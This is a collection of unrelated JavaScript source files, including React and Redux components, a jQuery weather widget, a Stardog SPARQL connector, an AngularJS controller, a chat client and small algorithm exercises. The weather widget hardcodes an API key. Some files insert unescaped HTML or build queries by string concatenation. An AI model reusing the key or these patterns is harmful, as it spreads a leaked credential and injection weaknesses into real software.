dispatch({ type: actionTypes.FORM_CHECKBOX, event: e }),
onFinish: values =>
dispatch({
type: actionTypes.ADD_FORM_VALUES,
values: values
})
};
};
export default connect(mapStateToProps, mapDispatchToProps)(AdressForm);
// onFinish = values => {
// console.log(values);
// this.setState({
// values: values
// });
// };
// handleCheckbox = e => {
// const checked = e.target.checked;
// this.setState({
// invoiceNeeded: checked
// });
// };
|
import React, { Component } from 'react';
import axios from 'axios';
import ReactTable from 'react-table';
import { CheckOutlined, CloseOutlined } from '@ant-design/icons';
import { api_url } from '../../../../../config/config';
import { components } from '../../../../../config/config';
import { error_handler } from '../../../../../utils/error_handlers';
import Status from '../../../../common/CommonTableComponents/Status';
class History extends Component {
state = { run_history: [] };
componentDidMount = error_handler(async () => {
const { run_number } = this.props;
const { data: run_history } = await axios.get(
`${api_url}/run_with_history/${run_number}`
);
this.setState({ run_history });
});
render() {
const { run_history } = this.state;
// const { run } = this.props;
// let dates = {};
// for (const [key, val] of Object.entries(run)) {
// if (val) {
// const history = val.history;
// if (Array.isArray(history)) {
// // Add local value
// val[key] = { ...val };
// const { when } = val;
// if (dates[when]) {
// dates[when] = dates[when].concat(val);
// } else {
// dates[when] = [val];
// }
// // Add historic values:
// history.forEach(change => {
// change[key] = { ...change };
// const { when } = change;
// if (dates[when]) {
// dates[when] = dates[when].concat(change);
// } else {
// dates[when] = [change];
// }
// });
// }
// }
// }
// let timeline = [];
// for (const [key, val] of Object.entries(dates)) {
// const event_in_timeline = {};
// event_in_timeline.when = key;
// val.forEach(change => {
// event_in_timeline = { ...event_in_timeline, ...change };
// });
// timeline.push(event_in_timeline);
// }
console.log(run_history);
// timeline.sort((a, b) => a.when - b.when);
let columns = [
{
Header: 'Time',
accessor: 'createdAt',
minWidth: 200,
Cell: ({ original, value }) => {
const date = new Date(value).toString();
const displayed_date = date.split('GMT')[0];
return <div style={{ textAlign: 'center' }}>{displayed_date}</div>;
}
},
{
Header: 'User',
accessor: 'by',
minWidth: 200,
Cell: ({ value }) => (
<div>
{value.startsWith('auto') ? (
<span>{value}</span>
) : (
<span style={{ color: 'blue' }}>{value}</span>
)}
</div>
)
},
{
Header: 'Class',
accessor: 'class',
Cell: ({ value }) => <div style={{ textAlign: 'center' }}>{value}</div>
},
{
Header: 'Significant',
accessor: 'significant',
Cell: ({ original, value }) => {
if (value) {
return (
<div style={{ textAlign: 'center' }}>
{value.value ? <CheckOutlined /> : <CloseOutlined />}
</div>
);
}
return <div />;
}
},
{
Header: 'Stop Reason',
accessor: 'stop_reason',
Cell: ({ value }) => <div style={{ textAlign: 'center' }}>{value}</div>
},
{
Header: 'State',
accessor: 'state',
Cell: ({ value }) => <div style={{ textAlign: 'center' }}>{value}</div>
},
{
Header: 'hlt key',
accessor: 'hlt_key',
Cell: ({ value }) => <div style={{ textAlign: 'center' }}>{value}</div>
},
{
Header: 'hlt Physics Counter',
accessor: 'hlt_physics_counter',
Cell: ({ value }) => <div style={{ textAlign: 'center' }}>{value}</div>
}
];
const component_columns = components.map(component => {
return {
Header: component,
maxWidth: 66,
id: `${component}_triplet`,
accessor: data => {
const triplet = data[`${component}_triplet`];
if (typeof triplet === 'object') {
return triplet;
}
// If it is not an object that the history changed from, make the components empty:
return { status: '', comment: '', cause: '' };
},
Cell: ({ value }) => <Status triplet={value} significant={true} />
};
});
columns = [...columns, ...component_columns];
return (
<div>
<h4>History - Changes in the run as time progresses down</h4>
<ReactTable
columns={columns}
data={run_history}
defaultPageSize={20}
className="-striped -highlight"
/>
</div>
);
}
}
export default History;
|
// indicator for searching by content is separated and isolated so that very small component is re-rendered
// when there is a request to search for messages
import { connect } from 'react-redux'
import LoadingIndicator from '~shared/LoadingIndicator/'
import PropTypes from 'prop-types'
import React from 'react'
function SearchLoadingIndicator(props) {
const {searchingForMessages, searchByQuery} = props
const displayed = searchingForMessages && searchByQuery
return (
<LoadingIndicator displayed={displayed} wrapperClassList='c1gyy91j c1sg2lsz' backgroundColor='' />
)
}
SearchLoadingIndicator.propTypes = {
searchingForMessages: PropTypes.bool,
searchByQuery: PropTypes.bool
}
const mapStateToProps = (state) => {
return {
searchingForMessages: state.messages.searching
}
}
export default connect(mapStateToProps)(SearchLoadingIndicator)
|
var model = {
data:{}
}
var view = {
output:$("#output"),
input:$("#divInput"),
searchForm:"Enter a city to get the weather for <input type='text' id='city'><br>"
+ "<button id='btnDo'>Get Weather</button> "
}
var controller = {
getWeather:function(){
$.ajax({
url:"http://api.openweathermap.org/data/2.5/weather",
data:{
q:$("#city").val(),
appid:"789131f035c1ebb9888b7e68e93b42a9"
},
success:controller.processData,
error:controller.handleFail})
//$.getJSON("http://api.openweathermap.org/data/2.5/weather?q=London&APPID=789131f035c1ebb9888b7e68e93b42a9", controller.processData).fail(controller.handleFail)
},
init:function(){
view.input.append(view.searchForm)
$("#btnDo").click(controller.getWeather)
},
processData:function(data)
{
console.log(JSON.stringify(data))
},
handleFail:function()
{
view.output.append("Error while getting json")
}
}
$(controller.init)
|
/**
* LINKURIOUS CONFIDENTIAL
* Copyright Linkurious SAS 2012 - 2018
*
* - Created on 2017-07-26.
*/
'use strict';
// external libs
const _ = require('lodash');
const Promise = require('bluebird');
// services
const LKE = require('../../services');
const Errors = LKE.getErrors();
const Utils = LKE.getUtils();
// locals
const SparqlConnector = require('./sparqlConnector');
const LkRequest = require('../../lib/LkRequest');
const SparqlUtils = require('../utils/sparqlUtils');
class StardogConnector extends SparqlConnector {
/**
* @param {any} graphOptions GraphDAO options
* @param {any} [indexOptions] IndexDAO options (only if the type of the DAO is 'Index')
* @constructor
*/
constructor(graphOptions, indexOptions) {
super(graphOptions, indexOptions);
this.$url = this.$url + '/' + encodeURIComponent(this.getGraphOption('repository'));
this._prefixToURI = new Map();
this._request = new LkRequest({
baseUrl: this.$url,
auth: this.getGraphOption('user') ? {
user: this.getGraphOption('user'),
password: this.getGraphOption('password')
} : undefined,
strictSSL: !this.getGraphOption('allowSelfSigned'),
pool: {maxSockets: 5}
});
}
/**
* Detect the current store ID.
*
* A store ID is the name of the current database (if the graph server is multi-tenant)
* otherwise the vendor name.
*
* @returns {Bluebird<string>}
*/
$getStoreId() {
return Promise.resolve(this.getGraphOption('repository'));
}
/**
* Connect to the remote server.
*
* @returns {Bluebird<string>} resolved with the SemVer version of the remote server
*/
$connect() {
return this._request.get('/size',
{timeout: this.CONNECT_TIMEOUT}, [200, 404, 401, 403]
).catch(e => {
return Errors.technical(
'critical',
'Could not connect to the Stardog server (' + e.message + ').',
true
);
}).then(existR => {
// if the repository does not exist
if (existR.statusCode === 404) {
return Errors.technical('critical', 'The repository was not found.', true);
} else if (existR.statusCode === 401) {
return Errors.business('invalid_parameter', 'Credentials for Stardog are not valid.', true);
} else if (existR.statusCode === 403) {
return Errors.business(
'invalid_parameter',
'Configured Stardog user is not authorized to perform this action.',
true
);
}
}).then(() => {
// retrieve the namespaces
const getNamespaceURL = '/admin/databases/' +
encodeURIComponent(this.getGraphOption('repository')) + '/options';
// baseUrl by default is the repository Url. Here we need the Stardog Url
return this._request.put(
getNamespaceURL,
{baseUrl: this.getGraphOption('url'), body: {'database.namespaces': ''}, json: true},
[200]
).then(nsR => {
const namespaceArray = nsR.body['database.namespaces'];
this._prefixToURI.clear();
_.forEach(namespaceArray, ns => {
// format of `ns` is 'rdf=http://www.w3.org/1999/02/22-rdf-syntax-ns#'
const s = Utils.splitOnce(ns, '=');
this._prefixToURI.set(s[0], s[1]);
});
this._utils = new SparqlUtils(this._prefixToURI, this.$defaultNamespace);
if (this._utils.isPrefixNotation(this.$categoryPredicate)) {
// resolve the category predicate to a full URI
this.$categoryPredicate = this._utils.shortNameToFullURI(this.$categoryPredicate);
}
// we set the category predicate after we resolved the full URI
this._utils.categoryPredicate = this.$categoryPredicate;
if (!this._utils.isURI(this.$categoryPredicate)) {
return Errors.business(
'invalid_parameter',
'"' + this.$categoryPredicate +
'" is not a valid category predicate (must be a URI wrapped in angle brackets).',
true
);
}
});
}).then(() => {
// baseUrl by default is the repository Url. Here we need the Stardog Url
return this._request.get(
'/admin/status', {baseUrl: this.getGraphOption('url'), json: true}, [200]
).then(versionR => {
return versionR.body['dbms.version'].value;
});
});
}
/**
* Check if the remote server is alive.
*
* @returns {Bluebird<void>}
*/
$checkUp() {
return this._request.get('/size', undefined, [200]).return();
}
/**
* Get the LkRequest object for direct access to the HTTP endpoint.
*
* @type {LkRequest}
*/
get $request() {
return this._request;
}
/**
* Get the mapping from prefixes to namespaces.
*
* e.g.:
* 'foaf' -> 'http://xmlns.com/foaf/0.1/'
* 'rdf' -> 'http://www.w3.org/1999/02/22-rdf-syntax-ns#'
*
* @type {Map<string, string>}
*/
get $prefixToURI() {
return this._prefixToURI;
}
/**
* Check that a given statement belongs to the triple store.
*
* @param {string} subject
* @param {string} predicate
* @param {string} object
* @returns {Bluebird<boolean>}
*/
$checkStatement(subject, predicate, object) {
// a predicate cannot be a blank node
[subject, object] =
this._utils.wrapBlankNodesInAngleBrackets([subject, object]);
return this.$doSparqlQuery(
`SELECT ?a WHERE { BIND(EXISTS{${subject} ${predicate} ${object}} as ?a)}`
).then(result => {
return this._utils.revertLiteral(result[0][0]);
});
}
/**
* Return all the statements in the triple store that have subject in `subjects`.
*
* @param {string[]} subjects
* @returns {Bluebird<string[][]>}
*/
$getStatementsBySubjects(subjects) {
subjects = this._utils.wrapBlankNodesInAngleBrackets(subjects);
const joinedSubjects = subjects.join(' ');
return this.$doSparqlQuery(
'SELECT ?s ?p ?o WHERE { ?s ?p ?o . VALUES ?s { ' + joinedSubjects + ' } }'
);
}
/**
* Return all the statements in the triple store that have object in `objects`.
*
* @param {string[]} objects
* @returns {Bluebird<string[][]>}
*/
$getStatementsByObjects(objects) {
objects = this._utils.wrapBlankNodesInAngleBrackets(objects);
const joinedObjects = objects.join(' ');
return this.$doSparqlQuery(
'SELECT ?s ?p ?o WHERE { ?s ?p ?o . VALUES ?o { ' + joinedObjects + ' } }'
);
}
/**
* Delete all the statements in the triple store that:
* - have `subject` as subject, or any if undefined
* - have `predicate` as predicate, or any if undefined
* - have `object` as object, or any if undefined
*
* Return true if at least a statement was deleted.
*
* @param {string} [subject]
* @param {string} [predicate]
* @param {string} [object]
* @returns {Bluebird<boolean>}
*/
$deleteStatements(subject, predicate, object) {
return Promise.resolve().then(() => {
let values = '';
if (Utils.hasValue(subject)) {
[subject] = this._utils.wrapBlankNodesInAngleBrackets([subject]);
values += `VALUES ?s { ${subject} } . `;
}
if (Utils.hasValue(predicate)) {
values += `VALUES ?p { ${predicate} } . `;
}
if (Utils.hasValue(object)) {
[object] = this._utils.wrapBlankNodesInAngleBrackets([object]);
values += `VALUES ?o { ${object} } . `;
}
return this.$doSparqlQuery(
`SELECT ?s ?p ?o WHERE { ?s ?p ?o . ${values} }`, undefined, false).then(statements => {
if (statements.length === 0) {
return false;
}
return this.$doSparqlQuery(
`DELETE {?s ?p ?o} WHERE { ?s ?p ?o . ${values} }`, undefined, true).return(true);
});
});
}
/**
* Delete all the statements in the triple store.
*
* @returns {Bluebird<void>}
*/
$deleteAllStatements() {
return this._underTransaction(tid => {
return this._request.post(
'/' + tid + '/clear', undefined, [200]
);
});
}
/**
* Add `statements` to the triple store.
*
* @param {string[][]} statements
* @returns {Bluebird<void>}
*/
$addStatements(statements) {
const nTriples = _.map(statements, statement => statement.join(' ') + ' .').join('\n');
return this._underTransaction(tid => {
return this._request.post(
'/' + tid + '/add',
{
body: nTriples
}, [200]
);
}).return();
}
/**
* Execute a sparql query on the triple store using the '/update' or the '/query' endpoint.
*
* @param {string} query
* @param {number} [timeout] Milliseconds to wait before it fails
* @param {string} endpoint '/update' or '/query'
* @returns {Bluebird<string[][]>}
* @private
*/
_doSparqlQuery(query, timeout, endpoint) {
return this._request.post(endpoint,
{
form: {query: query},
json: true,
headers: {'Accept': 'application/sparql-results+json'},
timeout: timeout
}
).then(response => {
if (response.statusCode !== 200) {
const stardogErrorMessage = response.body && response.body.message ||
JSON.stringify(response.body);
const isBadGraphRequest = stardogErrorMessage.includes('expecting one of');
const errorMessage = '_doSparqlQuery wasn\'t able to execute ' +
'the query on Stardog: ' + response.statusCode + ' ' + stardogErrorMessage;
if (isBadGraphRequest) {
return Errors.business('bad_graph_request', errorMessage, true);
} else {
return Errors.technical('critical', errorMessage, true);
}
}
if (Utils.noValue(response.body) || Utils.noValue(response.body.head) ||
Utils.noValue(response.body.head.vars) || Utils.noValue(response.body.results) ||
Utils.noValue(response.body.results.bindings)) {
// this is not an error, but un update query that doesn't return anything
return [];
}
const head = response.body.head.vars;
const results = response.body.results.bindings;
return _.map(results, rawStatement => {
const statement = [];
for (let i = 0; i < head.length; i++) {
// we process each entry s.t. we comply with the output format defined in sparqlConnector
const rawEntry = rawStatement[head[i]];
if (Utils.noValue(rawEntry)) {
// no entry for this column/row
statement.push(undefined);
continue;
}
if (rawEntry.type === 'uri') {
statement.push('<' + rawEntry.value + '>');
} else if (rawEntry.type === 'bnode') {
statement.push('_:' + rawEntry.value);
} else { // rawEntry.type === 'literal'
let literalValue = JSON.stringify(rawEntry.value);
if (Utils.hasValue(rawEntry.datatype)) {
literalValue += '^^<' + rawEntry.datatype + '>';
}
statement.push(literalValue);
}
}
return statement;
});
});
}
/**
* Execute a sparql query on the triple store.
*
* @param {string} query
* @param {number} [timeout] Milliseconds to wait before it fails
* @param {boolean} [canWrite] Whether the query can modify the data
* @returns {Bluebird<string[][]>}
*/
$doSparqlQuery(query, timeout, canWrite) {
// Stardog handle write permissions for us
// but it doesn't like that we send read query to the update endpoint
// so we first try a simple query
return this._doSparqlQuery(query, timeout, '/query').catch(err => {
if (canWrite && err.message && err.message.includes('update query')) {
return this._doSparqlQuery(query, timeout, '/update');
}
throw err;
});
}
/**
* Execute `func` under a transaction:
* - commit the transaction if `func` resolves
* - rollback the transaction if `func` rejects
*
* This function resolves with the same value resolved by `func`.
* `func` will be invoked with 1 parameter, the transaction ID.
*
* @param {function(string): Bluebird<any>} func
* @returns {Bluebird<any>}
*/
_underTransaction(func) {
return this._request.post(
'/transaction/begin', undefined, [200]
).then(response => {
const tid = response.body;
return func(tid).then(value => {
return this._request.post(
'/transaction/commit/' + tid, undefined, [200]
).return(value);
}).catch(e => {
return this._request.post(
'/transaction/rollback/' + tid, undefined, [200]
).catch(() => {}).then(() => {
throw e;
});
});
});
}
}
module.exports = StardogConnector;
|
var swap = function(array, firstIndex, secondIndex) {
var temp = array[firstIndex];
array[firstIndex] = array[secondIndex];
array[secondIndex] = temp;
};
var indexOfMinimum = function(array, startIndex) {
var minValue = array[startIndex];
var minIndex = startIndex;
for(var i = minIndex + 1; i < array.length; i++) {
if(array[i] < minValue) {
minIndex = i;
minValue = array[i];
}
}
return minIndex;
};
var selectionSort = function(array) {
var minIdx = 0;
for (var i = 0; i < array.length; i++) {
minIdx = indexOfMinimum(array, i);
if (i < minIdx) {
swap(array, i, minIdx);
}
}
};
var array = [22, 11, 99, 88, 9, 7, 42];
selectionSort(array);
console.log("Array after sorting: " + array);
console.log('test1: ', array, '===', [7, 9, 11, 22, 42, 88, 99]);
array = [0, 5, 04, 32, 76, 8, 63, 23, 21, 1];
selectionSort(array);
console.log("Array after sorting: " + array);
console.log('test2: ', array, '===', [0, 1, 4, 5, 8, 21, 23, 32, 63, 76]);
array = [9, 8, 7, 6, 5, 4, 3, 2, 1];
selectionSort(array);
console.log("Array after sorting: " + array);
console.log('test3: ', array, '===', [1, 2, 3, 4, 5, 6, 7, 8, 9]);
|
module.exports = {
create: require('./createEvent'),
search: require('./searchEvent')
}
|
/* eslint-disable react/no-danger */
// @flow
import React from 'react';
import classnames from 'classnames/bind';
import textStyles from '../component-renderer/styles.css';
import styles from './style.css';
const cx = classnames.bind(styles);
type RawHtmlProps = {
children: string,
};
const RawHtml = ({ children }: RawHtmlProps) => {
return (
<div
className={cx(textStyles.typography, styles.rawHtml)}
dangerouslySetInnerHTML={{ __html: children }}
/>
);
};
export default RawHtml;
|
define(['frame'], function (ngApp) {
ngApp.provider.controller('ctrlLeave', [
'$scope',
'http2',
'noticebox',
'$uibModal',
'$q',
function ($scope, http2, noticebox, $uibModal, $q) {
function _fnListLeaves() {
http2
.get('/rest/pl/fe/matter/group/leave/list?app=' + $scope.app.id)
.then(function (rsp) {
$scope.leaves = _leaves = rsp.data
})
}
function _fnPickRecord() {
var defer = $q.defer()
$uibModal
.open({
templateUrl:
'/views/default/pl/fe/matter/group/component/recordPicker.html?_=' +
$scope.frameTemplates.compRecordPicker.time,
controller: [
'$uibModalInstance',
'$scope',
'srvGroupRec',
'tmsRowPicker',
function ($mi, $scope2, srvGrpRec, tmsRowPicker) {
var records = []
$scope2.rows = _oRows = new tmsRowPicker()
srvGrpRec.init(records).then(function () {
srvGrpRec.list().then(function () {
$scope2.users = records
})
})
$scope2.cancel = function () {
$mi.dismiss()
}
$scope2.execute = function () {
var picked
if (_oRows.count) {
picked = []
for (var i in _oRows.selected) {
picked.push($scope2.users[i])
}
$mi.close(picked)
}
}
},
],
backdrop: 'static',
})
.result.then(function (aResult) {
defer.resolve(aResult)
})
return defer.promise
}
var _leaves
$scope.add = function () {
_fnPickRecord().then(function (aPickedUsers) {
if (aPickedUsers.length) {
$uibModal
.open({
templateUrl:
'/views/default/pl/fe/matter/group/component/leaveEditor.html?_=' +
$scope.frameTemplates.compLeaveEditor.time,
controller: [
'$uibModalInstance',
'$scope',
function ($mi, $scope2) {
$scope2.data = {}
$scope2.cancel = function () {
$mi.dismiss()
}
$scope2.ok = function () {
$mi.close($scope2.data)
}
},
],
backdrop: 'static',
})
.result.then(function (oProto) {
var url =
'/rest/pl/fe/matter/group/leave/create?app=' + $scope.app.id
var eks = []
aPickedUsers.forEach(function (oUser) {
eks.push(oUser.enroll_key)
})
url += '&ek=' + eks.join(',')
http2.post(url, oProto).then(function (rsp) {
_leaves.push(rsp.data)
})
})
}
})
}
$scope.edit = function (oLeave) {
$uibModal
.open({
templateUrl:
'/views/default/pl/fe/matter/group/component/leaveEditor.html?_=' +
$scope.frameTemplates.compLeaveEditor.time,
controller: [
'$uibModalInstance',
'$scope',
function ($mi, $scope2) {
var data = {}
data.begin_at = oLeave.begin_at
data.end_at = oLeave.end_at
$scope2.data = data
$scope2.cancel = function () {
$mi.dismiss()
}
$scope2.ok = function () {
$mi.close($scope2.data)
}
},
],
backdrop: 'static',
})
.result.then(function (oProto) {
var url =
'/rest/pl/fe/matter/group/leave/update?app=' + $scope.app.id
url += '&id=' + oLeave.id
http2.post(url, oProto).then(function (rsp) {
http2.merge(oLeave, rsp.data, ['id'])
})
})
}
$scope.close = function (oLeave) {
noticebox.confirm('删除选中的请假记录,确定?').then(function () {
http2
.get(
'/rest/pl/fe/matter/group/leave/close?app=' +
$scope.app.id +
'&id=' +
oLeave.id
)
.then(function (rsp) {
_leaves.splice(_leaves.indexOf(oLeave), 1)
})
})
}
$scope.$watch('app', function (oApp) {
if (oApp) {
_fnListLeaves()
}
})
},
])
})
|
// Prevents from HTML injection.
function escape_html (str)
{
if (!str) return '';
return jQuery('<span/>').text(str).html();
}
/////////////////////
// Main Chat class //
/////////////////////
var Chat =
{
_already_inited: false,
_username: null,
_prelogin: [],
_last_message_date: 0,
_last_sent_message_date: 0,
// Returns current SQLite date
get_date: function()
{
var timestamp = new Date().getTime();
jQuery.get(server_path+'ajax/chat.php', {'action': 'get_date', time: timestamp}, function(date)
{
Chat._last_message_date = date;
Chat.prelogin('get_date');
});
},
// Loads users list
load_users: function()
{
var timestamp = new Date().getTime();
jQuery.get(server_path+'ajax/chat.php', {'action': 'get_users', time: timestamp}, function(users)
{
if (users == '' || users == '0')
{
// No users yet.
Chat.prelogin('load_users');
return;
}
users = users.split("\t\t").sort();
var user;
for (var i in users)
{
user = users[i].split("\t");
Chat._show_new_user(user[0], user[1], user[2], user[3]);
}
Chat.prelogin('load_users');
});
},
// Updated users list
update_users_list: function()
{
var timestamp = new Date().getTime();
jQuery.get(server_path+'ajax/chat.php', {'action': 'get_users', time: timestamp}, function(users)
{
users = users.split("\t\t").sort();
var user;
jQuery('#users-list ul').html('');
for (var i in users)
{
user = users[i].split("\t");
Chat._show_new_user(user[0], user[1], user[2], user[3]);
}
});
},
// Pings server (used very often)
ping: function()
{
var timestamp = new Date().getTime();
jQuery.get(server_path+'ajax/chat.php', {'action': 'ping', 'last_message_date': Chat._last_message_date, 'username': Chat._username, time: timestamp}, function(messages)
{
if (messages == '' || messages == '0')
{
// No new messages.
return;
}
if (messages == '-1')
{
// User has been kicked.
window.location.reload();
return;
}
if (/^kicked/.test(messages))
{
messages = messages.replace(/^kicked/, '');
alert('You have been kicked for 1 hour! Reason:' + "\n" + messages);
window.location.reload();
return;
}
if (/^banned/.test(messages))
{
messages = messages.replace(/^banned/, '');
alert('You have been banned for 1 week! Reason:' + "\n" + messages);
window.location.reload();
return;
}
messages = messages.split("\t\t");
var message;
for (var i in messages)
{
if (!messages[i]) break;
message = messages[i].split("\t");
Chat._show_new_message(message[0], message[1], escape_html(message[2]), escape_html(message[3]), message[4], message[5], message[6]);
}
//Chat._last_message_date = message[0];
Chat.get_date();
});
},
// Decides if current user should be logged in
prelogin: function(event)
{
this._prelogin.push(event);
if (this._prelogin.length == 2)
{
this.login();
}
/**/
//this.login();
},
// Logs current user in
login: function ()
{
var timestamp = new Date().getTime();
jQuery.post(server_path+'ajax/chat.php', {'action': 'login', 'username': Chat._username, time: timestamp}, function(response)
{
if (response === '-1')
{
// User is banned.
return false;
}
if (response === '1')
{
Chat._show_new_user ('', Chat._username,'','');
Chat._show_new_message (false, '', '', 'Welcome, <strong>'+Chat._username+'</strong>!', '', '', 'system');
}
});
},
// Sends chat message to everyone
send_message: function()
{
var timestamp = new Date().getTime();
// flood control
if (timestamp < (this._last_sent_message_date + 1200))
{
return;
}
this._last_sent_message_date = timestamp;
var username = this._username;
var message = jQuery('#message').val();
if (parseInt(message.length) > 2000)
{
alert('Your message is too long.');
return;
}
if (/^\s*$/.test(message))
{
return;
}
jQuery('#message').val('').focus();
jQuery.post(server_path+'ajax/chat.php', {'action': 'send_message', 'message': message, 'username': username, time: timestamp}, function() {});
},
// Shows new user on the list
_show_new_user: function(photo, username, ulink, uid)
{
jQuery('#users-list li.empty').remove();
jQuery('#users-list ul').append('<li class="user_'+ uid +'"></li>');
jQuery('#users-list li:last-child')
.html( "<div class='col-md-3'><a href='"+ulink+"'>" + photo + "</a></div><div class='col-md-8'><span class='username'>" + escape_html(username) + '</span>' +
(is_admin ? ' <div class="adminoptions"><a href="javascript:void(0);" onclick="Chat.kick(\''+escape_html(username) + '\',\''+uid+'\');" class="admin kick"><i class="fa fa-thumbs-down"></i> Kick for 1 hour</a> <a href="javascript:void(0);" onclick="Chat.ban(\''+escape_html(username) + '\',\''+uid+'\');" class="admin ban"><i class="fa fa-minus-circle"></i> Ban for 1 week</a></div>' : '')
+ '</div><div class="clearfix"></div>'
);
},
// Shows new message in chat window
_show_new_message: function(date, photo, username, message, datetext, mycss, system)
{
// DONT SHOW IF DATE IS INVALUD // ERRORNOUS MSG
if (typeof datetext === "undefined") {
return;
}
/* message body replacements */
// clickable urls
message = message.replace(
/((ftp|http|https):\/\/(\w+:{0,1}\w*@)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%@!\-\/]))?)/,
"<a href=\"$1\">$1</a>"
);
// clickable emails
message = message.replace(
/(([\w-]+(?:\.[\w-]+)*)@((?:[\w-]+\.)*\w[\w-]{0,66})\.([a-z]{2,6}(?:\.[a-z]{2})?))/i,
"<a href=\"mailto:$1\">$1</a>"
);
var content = '';
if (!system)
{
content += '<p class="commentInfo">'+photo+' </p>';
content += '<div class="comment"><p>' + message + '</p></div> <div class="bottombit"><span class="chat_username">'+username+'</span> <i class="fa fa-clock-o"></i> <span class="chat_date">'+datetext+'</span></div>';
} else {
content += '<span class="message">'+message+'</span>';
}
jQuery('#chat-window li.empty').remove();
jQuery('#chat-window ul').append( (username == this._username) ? '<li class="'+mycss+'"></li>' : '<li></li>');
jQuery('#chat-window li:last-child').html(content);
if (system)
{
jQuery('#chat-window li:last-child').attr('class', 'system');
}
jQuery('#chat-window ul').scrollTop(jQuery('#chat-window ul')[0].scrollHeight);
},
// function scales #messages-list and #users-list
// to fit the window height perfectly
scale_window: function()
{
var window_h = jQuery(window).height();
var new_h = window_h - jQuery('#header').height() - jQuery('#send-message').height() - 1;
jQuery('#chat-window ul, #users-list ul').css('height', new_h + 'px');
jQuery('#chat-window ul').scrollTop(jQuery('#chat-window ul')[0].scrollHeight);
},
// Kicks the user
kick: function(username, uid)
{
if (is_admin == false) return false;
if (!confirm('Do you really want to kick: '+username+'?')) return false;
var message = prompt('Kick reason (visible to the kicked user):');
if (!message) return false;
jQuery('#users-list li span:contains("'+username+'")').each(function()
{
if (jQuery(this).text() === username)
{
// kick the user.
var el = jQuery(this);
var timestamp = new Date().getTime();
jQuery.post(server_path+'ajax/chat.php', {'action': 'kick', 'message': message, 'username': username, 'password': '', time: timestamp}, function(response)
{
if (response == '1')
{
el.parent().fadeOut();
Chat._show_new_message (false, '', '', '<strong>'+username+'</strong> has been kicked.', '', '', 'system');
}
});
}
});
},
// Bans the user
ban: function(username, uid)
{
if (is_admin == false) return false;
if (!confirm('Do you really want to ban: '+username+'?')) return false;
var message = prompt('Ban reason (visible to the banned user):');
if (!message) return false;
jQuery('#users-list li span:contains("'+username+'")').each(function()
{
if (jQuery(this).text() === username)
{
// ban the user.
var el = jQuery(this);
var timestamp = new Date().getTime();
jQuery.post(server_path+'ajax/chat.php', {'action': 'ban', 'message': message, 'username': username, 'password': '', time: timestamp, userid: uid}, function(response)
{
if (response == '1')
{
el.parent().fadeOut();
Chat._show_new_message (false, '', '', '<strong>'+username+'</strong> has been banned for 1 week.', '', '', 'system');
}
});
}
});
},
// Starts the chat
init: function(username)
{
if (this._already_inited) return false;
if (/^\s*$/.test(username)) return false;
var timestamp = new Date().getTime();
jQuery.post(server_path+'ajax/chat.php', {'action': 'check_username', 'username': username, time: timestamp}, function(username_available)
{
if (username_available == '0')
{
jQuery('#error').text('Username already exists. Please wait 30 seconds and try again.').hide().fadeIn();
return;
}
var timestamp = new Date().getTime();
jQuery('#wlt_chatwindow').load(server_path+'chat_window.html?time='+timestamp, function()
{
this._already_inited = true;
Chat._username = username;
jQuery(window).bind('resize', function()
{
Chat.scale_window();
});
setTimeout(function(){Chat.scale_window();}, 200);
// scale window few times due to IE bug
if (jQuery.browser.msie && parseInt(jQuery.browser.version) <= 7)
{
var scale_counter = 8;
while (--scale_counter) Chat.scale_window();
}
// focus message input
// setTimeout used because of IE7 bug
setTimeout(function(){jQuery('#message').focus();}, 500);
jQuery('#send-message button').click(function()
{
Chat.send_message();
});
jQuery('#message').keydown(function(e)
{
var key = e.charCode || e.keyCode || 0;
if (key === 13)
{
Chat.send_message();
}
});
Chat.get_date();
Chat.load_users();
setInterval(function() { Chat.ping(); }, 1500);
setInterval(function() { Chat.update_users_list(); }, 5000);
});
});
}
};
|
/**
* @param {number[]} nums1
* @param {number[]} nums2
* @return {number[]}
*/
var intersect = function(nums1, nums2) {
let combined = [];
let shorter;
let longer;
//const shorter = nums1.length < nums2.length ? a : b;
//const longer = nums1 === small ? b : a;
if (nums1.length < nums2.length || nums1.length === nums2.length) {
shorter = nums1;
longer = nums2;
} else {
shorter = nums2;
longer = nums1;
}
for (let i = 0; i < shorter.length; i++) {
for (let j = 0; j < longer.length; j++) {
if (shorter[i] === longer[j]) {
combined.push(longer.splice(j, 1));
break;
}
}
}
return combined;
};
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.